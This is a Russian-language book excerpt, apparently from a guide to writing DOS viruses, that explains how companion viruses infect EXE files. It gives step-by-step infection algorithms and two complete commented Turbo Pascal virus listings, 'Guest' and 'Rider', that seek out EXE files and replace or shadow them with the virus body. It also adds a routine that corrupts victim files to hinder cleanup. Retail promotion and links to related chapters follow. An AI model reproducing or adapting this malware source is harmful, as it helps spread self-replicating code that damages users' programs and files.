Вирусы-спутники (Companion)
Вирусы-спутники (Companion)
Вирусы-спутники сейчас широко распространены – соотношение companion и parasitic вирусов примерно один к двум.
Инфицирование методом создания COM-файла спутника
Смысл этого метода – не трогая «чужого кота» (EXE-программу), создать «своего» – COM-файл с именем EXE-программы. Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного EXE-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.
Заражение производится с помощью командного процессора:
1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.
2. Найти EXE-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом COM-файл с таким же именем, как у файла-жертвы.
4. Если такой COM-файл присутствует, файл уже заражен, переходим к пункту 6.
5. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением COM.
6. Процедурой Exec загрузить и выполнить файл с именем стартового, но с расширением EXE – то есть выполнить инфицированную программу.
7. Вернуть управление в DOS.
Приведенный ниже листинг показывает заражение файлов этим методом.
{$M 2048, 0, 0}
{$A?}
{$B?}
{$D?}
{$E+}
{$F?}
{$G?}
{$I?}
{$L?}
{$N?}
{$S?}
{$V?}
{$X+}
{Используются модули Dos и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses Dos;
Const
{Имя вируса}
VirName=’Guest’;
Author=’Dirty Nazi/SGWW. 4 PVT only!’;
{Количество зараженных за один сеанс работы файлов}
InfCount=2;
Var
{Для имени найденного файла}
TargetFile : PathStr;
{Для создания копии}
TargetCOM : PathStr;
{Счетчик количества заражений}
InfFiles : Byte;
DirInfo : SearchRec;
{Для сохранения параметров командной строки}
Parms : String;
{Для цикла For}
I: Byte;
{Поиск жертв}
procedure FindTarget;
Var
Sr : SearchRec;
{Функция возвращает True, если найденная программа уже заражена,
и False, если еще нет}
function VirusPresent: Boolean;
Var
Target : File;
begin
{Пока будем считать, что вируса здесь нет}
VirusPresent:=False;
{Пытаемся открыть файл с именем найденной программы,
но с расширением COM}
Assign(Target, TargetCOM);
Reset(Target, 1);
{Если не было ошибок при открытии,
программа уже инфицирована этим вирусом}
If IOResult=0 Then
begin
VirusPresent:=True;
{Открыли – закроем}
Close(Target);
end;
end;
{Собственно процедура заражения}
procedure InfectFile;
begin
{Если найденная программа еще не заражена, инфицируем ее}
If Not VirusPresent Then
begin
{С помощью командного процессора
копируем вирусный код в COM?файл}
SwapVectors;
Exec(GetEnv(’COMSPEC’),’/C COPY /B ’+ParamStr(0)+’
’+TargetCOM+’ >NUL’);
SwapVectors;
{Увеличиваем на единицу счетчик инфицированных файлов}
Inc(InfFiles);
end;
end;
begin {начало процедуры FindTarget}
{Ищем в текущем каталоге файлы по маске *.EXE
с атрибутами Archive}
FindFirst(’*.EXE’, Archive, Sr);
{Пока есть файлы для заражения}
While DosError=0 Do
begin
If Sr.Name=’’ Then Exit;
{Запоминаем имя найденного файла в переменную TargetFile}
TargetFile:=Sr.Name;
TargetCOM:=Copy(TargetFile,1,Length(TargetFile)–4)+’.COM’;
{Вызываем процедуру заражения}
InfectFile;
{Если заразили InfCount файлов, завершаем поиск}
If InfFiles > InfCount Then Exit;
{Ищем следующий файл по маске}
FindNext(Sr);
end;
end;
{Основное тело}
begin
Parms:=’ ’;
{Запоминаем параметры командной строки}
If ParamCount <> 0 Then
For I:=1 To ParamCount Do
Parms:=Parms+’ ’+ParamStr(I);
{Ищем жертвы и заражаем их}
FindTarget;
TargetFile:=Copy(ParamStr(0),1,Length(ParamStr(0))?4)+’.EXE’;
{Ищем файл с именем стартового файла, но с расширением EXE}
FindFirst(TargetFile, AnyFile, DirInfo);
{Если такой файл найден, запускаем его на выполнение}
If DosError=0 Then
begin
SwapVectors;
Exec(GetEnv(’COMSPEC’),’/C ’+TargetFile+Parms);
SwapVectors;
end Else
{Если файл не найден, выходим,
не внося в программу изменений}
begin
WriteLn(#13#10, VirName, ’ by ’,Author);
WriteLn(’Какое?нибудь сообщение’);
end;
end.
Инфицирование методом переименования EXE-файла
Отличий в алгоритмах работы этих вирусов и их «коллег», создающих файл-спутник, не так уж много. Но, по всей видимости, заражение методом переименования несколько совершеннее – для излечения от вируса нужно не просто удалить COM-файл с кодом вируса, а немного помучаться и разыскать, во что же переименован EXE-файл с инфицированной программой.
1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.
2. Найти EXE-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом-жертвой файл с таким же именем и с расширением, которое выбрано для инфицированной программы (например, OVL – программный оверлей).
4. Если такой файл присутствует, программа уже инфицирована – переходим к пункту 7.
5. Переименовать найденный файл-жертву (EXE) в файл с таким же именем, но с расширением, выбранным для инфицированной программы.
6. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением жертвы.
7. Найти в каталоге, из которого получено управление, файл с именем стартовой программы, но с расширением, выбранным для инфицированной – это и будет зараженная программа, которую в данный момент необходимо запустить на исполнение.
8. Если такой файл не найден, переходим к пункту 12.
9. Изменить расширение найденного файла на COM (ни в коем случае не на EXE, ведь в EXE-файле с таким именем находится вирусный код!).
10. Процедурой Exec загрузить и выполнить переименованный файл – то есть выполнить инфицированную программу.
11. Вернуть COM-файлу с инфицированной программой выбранное расширение, то есть превратить его опять в неисполняемый.
12. Вернуть управление в DOS.
Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider написан очень просто и доступно. За сеанс работы он заражает один EXE-файл в текущем каталоге. Сам процесс заражения также весьма прост: файл-жертва переписывается в файл с расширением OVL (оверлейный файл), а на его место с помощью командного процессора копируется вирусный код. При запуске происходит заражение только что найденного EXE-файла, затем вирусный код переименовывается в OWL, а OVL – в EXE, после чего оригинал запускается на исполнение. Когда оригинал отработал, происходит переименование в обратном порядке. С защищенного от записи диска программа не запустится, она выдаст сообщение, что диск защищен от записи.
В представленном здесь виде вирус легко обезвредить, достаточно просто переименовать OVL-файл обратно в EXE. Но, чтобы усложнить лечение, в вирусе может быть использован такой прием:procedure MakeNot;
Var
Buf10: Array [1.10] of Byte;
Cicle: Byte;
begin
Seek(Prog, 0);
Reset(Prog);
BlockRead(Prog, Buf10, 10);
For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];
Seek(Prog, 0);
BlockWrite(Prog, Buf10, 10);
Close(Prog);
end;При использовании этой процедуры надо учитывать, что заражаемая и запускаемая на исполнение программа должна быть связана с переменной Prog типа File, описанной в основном модуле. Суть процедуры состоит в том, что из заражаемой программы считываются 10 байт и кодируются операцией Not. EXE-программа становится неработоспособной. Запускать эту процедуру нужно не только перед прогоном оригинала, но и после него.
{ Name Rider }
{ Version 1.0 }
{ Stealth No }
{ Tsr No }
{ Danger 0 }
{ Attac speed Slow }
{ Effects No }
{ Length 4000 }
{ Language Pascal }
{ BodyStatus Packed }
{ Packer Pklite }
{$M 2048, 0, 0} { Stack 1024b, Low Heap Limit 0b,
High Heap Limit 0b }
{Используются модули Dos и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses Dos;
Const
Fail=’Cannot execute ’#13#10’Disk is write?protected’;
{Расширения файлов, которые будем использовать}
Ovr=’.OWL’;
Ovl=’.OVL’;
Exe=’.EXE’;
Var
DirInfo : SearchRec;
Sr : SearchRec;
Ch : Char;
I : Byte;
OurName : PathStr;
OurProg : PathStr;
Ren : File;
CmdLine : ComStr;
Victim : PathStr;
VictimName : PathStr;
{Процедура для проверки диска на Read Only}
procedure CheckRO;
begin
Assign(Ren, #$FF);
ReWrite(Ren);
Erase(Ren);
If IOResult <> 0 Then
{Если диск защищен от записи, то ответ ’Access denied’}
begin
WriteLn(Fail);
Halt(5);
end;
end;
{Процедура прогонки оригинала}
procedure ExecReal;
begin
{Находим оригинал}
FindFirst(OurName+Ovl, AnyFile, DirInfo);
If DosError <> 0 Then
{Если не нашли}
begin
WriteLn(’Virus RIDER. Let’s go on riding!’);
WriteLn(’I beg your pardon, your infected file cannot be executed.’);
{Выход с DosError=Файл не найден}
Halt(18);
end;
{Переименовываем программу в OVL}
Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovr);
{Переименовываем оверлей в EXE}
Assign(Ren, OurName+Ovl);
ReName(Ren, OurName+Exe);
{И запускаем его}
SwapVectors;
Exec(GetEnv(’COMSPEC’), ’/C ’+OurName+Exe+CmdLine);
SwapVectors;
{А теперь возвращаем все на место}
Assign(Ren, OurName+Exe);
ReName(Ren, OurName+Ovl);
Assign(Ren, OurName+Ovr);
ReName(Ren, OurName+Exe);
end;
{Процедура заражения}
procedure Infect;
begin
{Переименовываем жертву в OVL}
Assign(Ren, Victim);
ReName(Ren, VictimName+Ovl);
{Копируем тело вируса на место жертвы}
SwapVectors;
Exec(GetEnv(’COMSPEC’), ’/C COPY ’+OurProg+’ ’+Victim+’ >NUL’);
SwapVectors;
end;
{Процедура поиска жертвы}
procedure FindFile;
begin
{В текущем каталоге ищем EXE?файл}
FindFirst(’*.EXE’, AnyFile, DirInfo);
If DosError=0 Then
{И если он найден}
begin
{Запоминаем имя жертвы}
Victim:=DirInfo.Name;
{Запоминаем имя без расширения}
VictimName:=Copy(Victim, 1, Length(Victim)–4);
{Ищем оверлей с тем же именем}
FindFirst(VictimName+Ovl, AnyFile, Sr);
If DosError <> 0 Then Infect;
end;
end;
{Процедура инициализации переменных}
procedure Init;
begin
{Командная строка}
CmdLine:=’’;
{Полное имя нашей программы}
OurProg:=ParamStr(0);
{Имя нашей программы без расширения}
OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))–4);
For I:=1 To ParamCount Do
begin
{Запоминаем параметры}
CmdLine:=ParamStr(I)+’ ’;
end;
end;
{Основная подпрограмма}
begin
{А эту табличку запишем в код для тех,
кто распакует вирус и начнет в нем копаться}
If False Then
begin
WriteLn(#13#10 ’ ’);
end;
{Инициализируемся}
Init;
{Проверка диска на R/O}
CheckRO;
{Ищем и заражаем}
FindFile;
{Загружаем оверлей}
ExecReal;
end.Более 800 000 книг и аудиокниг! 📚
Получи 2 месяца Литрес Подписки в подарок и наслаждайся неограниченным чтением
ПОЛУЧИТЬ ПОДАРОКДанный текст является ознакомительным фрагментом.
Читайте также
Вирусы
Вирусы Вирус – это приносящая вред компьютерная программа, способная размножаться, создавая свои копии, которые, в свою очередь, также сохраняют способность к размножению (рис. 10.1). В последние годы в связи с бурным развитием сетевых технологий определение слова «вирус»
Вирусы и черви
Вирусы и черви Вирус — это обычная программа, которая выполняет вредные, а иногда и просто разрушительные действия. Вы спросите, что может сделать вирус? Да практически все, что можно сделать в вашей операционной системе. Давайте рассмотрим это чуточку подробней на
7. 1.1. Вирусы в Linux
7.1.1. Вирусы в Linux Первым делом нужно разрушить миф о том, что в Linux нет вирусов. Вирусы в Linux есть. По данным сайта www.virus-list.com для Linux написано всего 1111 вирусов (на момент написания этих строк). Почему "всего"? Потому что по данным того же www. viruslist.com всего вирусов и их
6.3.2. Троянские вирусы
6.3.2. Троянские вирусы Вы знаете, что такое троянский конь? Очень давно троянский царевич Парис украл гречанку Елену из города Спарты. Ее муж, царь Спарты, собрал войско и пошел на Трою. Осада Трои длилась очень долго и безуспешно. Поэтому царь Спарты Менелай решил обхитрить
Компьютерные вирусы
Компьютерные вирусы Наверное, невозможно сегодня встретить пользователя компьютера, который не слышал бы о компьютерных вирусах. Эти вредоносные программы в огромном количестве «представлены» в Интернете, и их количество растет с каждым днем. Самое неприятное, что
Вирусы и антивирусы
Вирусы и антивирусы Компьютерные вирусы возникли довольно давно. Компьютерный вирус – это по сути программа, которая подобно вирусам в живой природе способна сама себя воспроизводить и заражать пока еще «здоровые» компьютеры. Помимо самостоятельного воспроизведения
25.5.1. Вирусы и Linux
25.5.1. Вирусы и Linux Linux считается одной из самых безопасных операционных систем. Она устойчива, ее сетевые сервисы надежны и… для Linux существует очень мало вирусов. Почему? Давайте подумаем. Представим на некоторое время, что мы — вирусописатели. Для какой операционной
Вирусы и трояны
Вирусы и трояны Атака состоит в применении специально спроектированного компьютерного вируса или червя для заражения установленной у вас программы PGP. Этот гипотетический вирус может быть устроен так, чтобы перехватывать закрытый ключ и пароль или содержимое
Спутники Сириуса: вторая легенда ярчайшей звезды ночного неба Дмитрий Вибе
Спутники Сириуса: вторая легенда ярчайшей звезды ночного неба Дмитрий Вибе Опубликовано 19 января 2014 В конце концов, подумаешь — красный Сириус. Нет, лёгкий аромат тайны, конечно, присутствует: был местами красным, стал везде белым… Но всё равно
Компьютерные вирусы
Компьютерные вирусы Что такое компьютерный вирус? Я встречал людей, которые искренне считают, что компьютерный вирус похож на биологический организм (рис. 7.3). Но компьютерный вирус — это просто компьютерная программа. И заразить компьютер воздушно-капельным путем
11.1.2. Троянские вирусы
11.1.2. Троянские вирусы Вы знаете, что такое троянский конь? Если нет, то я вам вкратце объясню. Очень давно троянский царевич Парис украл гречанку Елену из города Спарты. Ее муж, царь Спарты, собрал войско и пошел на Трою. Осада Трои длилась очень долго и безуспешно. Поэтому
Игорь Снытко (Toshiba) о Cloud Companion Юрий Ильин
Игорь Снытко (Toshiba) о Cloud Companion Юрий Ильин Опубликовано 02 июля 2010 года На конференции DisTREE IT Channel Week, прошедшей на прошлой неделе, компания Toshiba объявила о выпуске нового типа устройств под названием Cloud Companion. Игорь Снытко, генеральный менеджер Toshiba в
Глава 1 СОМ-вирусы
Глава 1 СОМ-вирусы В этой главе рассказано об алгоритмах работы вирусов, заражающих COM-файлы, и способах их внедрения. Представлен исходный текст одного из таких вирусов с подробными комментариями. Также приведены основные сведения о структуре и принципах работы
Глава 2 EXE-вирусы
Глава 2 EXE-вирусы В этой главе рассказано о вирусах, заражающих EXE-файлы. Приведена классификация таких вирусов, подробно рассмотрены алгоритмы их работы, отличия между ними, достоинства и недостатки. Для каждого типа вирусов представлены исходные тексты с подробными
Вирусы под Windows 3.11
Вирусы под Windows 3.11 В исполняемом файле Windows содержатся в различных комбинациях код, данные и ресурсы. Ресурсы – это BIN-данные для прикладных программ. Учитывая возможность запуска файла из DOS, формат данных должен распознаваться обеими системами – и DOS, и Windows. Для этого все
Вирусы под Windows 95
Вирусы под Windows 95 Формат Portable Executable используется Win32, Windows NT и Windows 95, что делает его очень популярным, и в будущем, возможно, он станет доминирующим форматом EXE. Этот формат значительно отличается от NE-executable, используемого в Windows 3.11.Вызов Windows 95 APIОбычные приложения вызывают